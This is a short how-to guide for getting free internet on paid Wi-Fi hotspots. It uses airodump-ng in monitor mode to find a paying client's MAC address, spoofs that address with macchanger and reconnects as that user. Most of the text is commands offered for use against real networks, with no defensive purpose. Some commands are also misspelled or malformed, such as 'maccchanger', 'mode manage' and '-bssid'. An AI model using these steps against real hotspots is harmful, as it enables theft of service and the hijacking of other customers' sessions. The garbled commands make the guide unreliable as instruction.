How to Hack Wifi Hotspots with Linux

1. Look which devices are connected to the network (Which MAC-addresses have internet.)
2. Change your MAC-address to a MAC-address with access to the internet.
3. Re-connect to the Access Point, the Hotspot.

Once you connect to the network again, the router will recognize you as an user that paid to
use the internet and it will grant you access to the internet.

Execution
It’s best if you have Linux to execute this. I myself use Kali Linux, but any distro should work.

Open your terminal, we will turn off our wlan interface. Type:

Code:

ifconfig wlan0 down

Now we will put our network interface in a monitor mode:

Code:

iwconfig wlan0 mode monitor

And now we will check if that actually happened:

Code:

iwconfig

Now we will look for all networks nearby you. These networks will then be shown with a BSSID MAC-address.

Code:

airodump-ng wlan0

Wait a while untill your ‘target network’ appears and then copy the BSSID that belongs to it.
Then press CTRL+C to stop airodump-ng. Otherwise it will endlessly continue to search for networks.

Now we will look for every device on the network.
The devices are the computers that are connected to the network and are shown in the form of a MAC-address.
It can take a while before these computers are found. It’s important to wait a while to see which MAC-address has alot of traffic.
This is the one that we will use, copy the MAC-address.

Code:

airodump-ng -bssid [MAC ADDRESS OF THE NETWORK HERE] wlan0

Then:

Code:

ifconfig wlan0 down

And then we can change our MAC-address to the one which you choose:

Code:

maccchanger -m [MAC ADDRESS OF THE COMPUTER WHICH YOU CHOSE] wlan0

Now you will get a verification that your MAC-address has changed.
If you successfully did this, we will change our interface again in ‘manage mode’:

Code:

iwconfig wlan0 mode manage

Then turn on our WiFi-adapter again:

Code:

ifconfig wlan0 up

Check to see if it’s on:

Code:

ifconfig

Now you will go to the network interface GUI. Connect again with your Hotspot and you can enjoy your free internet.

Conclusion:
As you can see you can have access to the internet in a few easy steps.
The way around the security in this way is much faster and the chance to succeed is much faster than the standard way of WEP/WPA2 hacking.